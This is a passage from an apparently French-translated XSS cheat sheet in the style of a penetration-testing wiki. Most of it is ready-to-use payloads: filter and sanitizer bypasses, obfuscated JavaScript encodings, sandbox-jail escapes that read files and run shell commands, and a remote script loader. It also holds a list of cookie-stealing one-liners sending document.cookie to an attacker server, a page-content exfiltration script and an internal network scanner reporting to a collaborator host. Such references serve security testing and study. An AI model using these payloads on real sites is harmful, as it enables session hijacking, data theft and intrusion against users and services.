"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Appel de fonction arbitraire (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

Il existe du JS code qui utilise des données non sécurisées contrôlées par un attaquant comme location.href. Un attaquant pourrait en abuser pour exécuter du code JS arbitraire.
En raison de l’ampleur de l’explication des DOM vulnerabilities it was moved to this page:

DOM XSS

Vous y trouverez une explication détaillée de ce que sont les DOM vulnerabilities, comment elles sont provoquées, et comment les exploiter.
Aussi, n’oubliez pas qu’à la fin du post mentionné vous pouvez trouver une explication sur les DOM Clobbering attacks.

Amélioration de Self-XSS

Si vous pouvez déclencher un XSS en envoyant le payload dans un cookie, il s’agit généralement d’un self-XSS. Cependant, si vous trouvez un sous-domaine vulnérable à XSS, vous pourriez abuser de ce XSS pour injecter un cookie dans l’ensemble du domaine, parvenant à déclencher le cookie XSS sur le domaine principal ou d’autres sous-domaines (ceux vulnérables au cookie XSS). Pour cela, vous pouvez utiliser l’attaque cookie tossing :

Cookie Tossing

You can find a great abuse of this technique in this blog post.

Envoyer votre session à l’administrateur

Il se peut qu’un utilisateur puisse partager son profil avec l’admin et si le self XSS se trouve dans le profil de l’utilisateur et que l’admin y accède, il déclenchera la vulnérabilité.

Session Mirroring

Si vous trouvez un self XSS et que la page web dispose d’un session mirroring for administrators, par exemple permettant aux clients de demander de l’aide et, afin que l’admin puisse vous aider, il verra ce que vous voyez dans votre session mais depuis sa propre session.

Vous pourriez faire en sorte que l’administrateur déclenche votre self XSS et voler ses cookies/session.

Autres contournements

Bypassing sanitization via WASM linear-memory template overwrite

When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “

%.*s

” to “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.

Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

Vous pouvez vérifier si les valeurs reflétées sont normalisées en Unicode côté serveur (ou côté client) et abuser de cette fonctionnalité pour contourner les protections. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

En raison de RoR mass assignment, des guillemets sont insérés dans le HTML et la restriction sur les guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l’intérieur de la balise.
Exemple de formulaire (from this report), si vous envoyez le payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

La paire “Key”,“Value” sera renvoyée comme ceci :

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Ensuite, l’attribut onfocus sera inséré et un XSS se produira.

Combinaisons spéciales

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS with header injection in a 302 response

Si vous trouvez que vous pouvez inject headers in a 302 Redirect response vous pouvez essayer de make the browser execute arbitrary JavaScript. Ce n’est pas trivial car les navigateurs modernes n’interprètent pas le corps de la réponse HTTP si le code de statut HTTP est 302, donc un simple payload de cross-site scripting est inutile.

Dans this report et this one vous pouvez lire comment tester plusieurs protocoles à l’intérieur du Location header et voir si l’un d’eux permet au navigateur d’inspecter et d’exécuter le XSS payload dans le body.
Protocoles connus précédemment : mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Lettres, chiffres et points uniquement

Si vous êtes capable d’indiquer le callback que javascript va exécuter limité à ces caractères. Read this section of this post pour savoir comment abuser de ce comportement.

Content-Types valides de <script> pour XSS

(From here) Si vous essayez de charger un script avec un content-type tel que application/octet-stream, Chrome retournera l’erreur suivante :

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Les seuls Content-Types qui permettront à Chrome d’exécuter un loaded script sont ceux présents dans la const kSupportedJavascriptTypes depuis https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Types de script pour XSS

(From here) Alors, quels types pourraient être indiqués pour charger un script ?

<script type="???"></script>

La réponse est :

  • module (par défaut, rien à expliquer)
  • webbundle: Web Bundles est une fonctionnalité qui permet de regrouper un ensemble de données (HTML, CSS, JS…) dans un fichier .wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Permet d’améliorer la syntaxe des imports
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Ce comportement a été utilisé dans this writeup pour remapper une bibliothèque vers eval afin d’en abuser — cela peut déclencher une XSS.

  • speculationrules: Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Elle fonctionne ainsi :
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Content-Types Web menant à XSS

(From here) Les types de contenu suivants peuvent exécuter XSS dans tous les navigateurs :

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? pas dans la liste mais je pense avoir vu ceci dans un CTF)
  • application/rss+xml (désactivé)
  • application/atom+xml (désactivé)

Dans d’autres navigateurs, d’autres Content-Types peuvent être utilisés pour exécuter du JS arbitraire, voir : https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Si la page renvoie un content-type text/xml, il est possible d’indiquer un namespace et d’exécuter du JS arbitraire :

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Modèles de remplacement spéciaux

Quand quelque chose comme "some {{template}} data".replace("{{template}}", <user_input>) est utilisé, l’attaquant peut utiliser special string replacements pour tenter de contourner certaines protections : "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Par exemple, dans this writeup, cela a été utilisé pour échapper une chaîne JSON à l’intérieur d’un script et exécuter du code arbitraire.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Si vous n’avez qu’un ensemble limité de caractères à utiliser, consultez ces autres solutions valides pour les problèmes de XSJail :

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Si everything is undefined avant d’exécuter du code non fiable (comme dans this writeup), il est possible de générer des objets utiles “à partir de rien” pour abuser de l’exécution de code arbitraire non fiable :

  • En utilisant import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Accéder à require indirectement

D’après ceci les modules sont encapsulés par Node.js dans une fonction, comme ceci :

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Par conséquent, si depuis ce module nous pouvons appeler une autre fonction, il est possible d’utiliser arguments.callee.caller.arguments[1] depuis cette fonction pour accéder à require :

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

De la même manière que dans l’exemple précédent, il est possible d’use error handlers pour accéder au wrapper du module et obtenir la fonction require :

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

Payloads courants pour XSS

Plusieurs payloads en 1

Steal Info JS

Piège iframe

Forcer l’utilisateur à naviguer dans la page sans quitter un iframe et voler ses actions (y compris les informations envoyées dans les formulaires) :

Iframe Traps

Récupérer les Cookies

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

Vous ne pourrez pas accéder aux cookies depuis JavaScript si le flag HTTPOnly est défini dans le cookie. Mais voici quelques moyens de contourner cette protection si vous avez de la chance.

Voler le contenu de la page

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Trouver les adresses IP internes

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

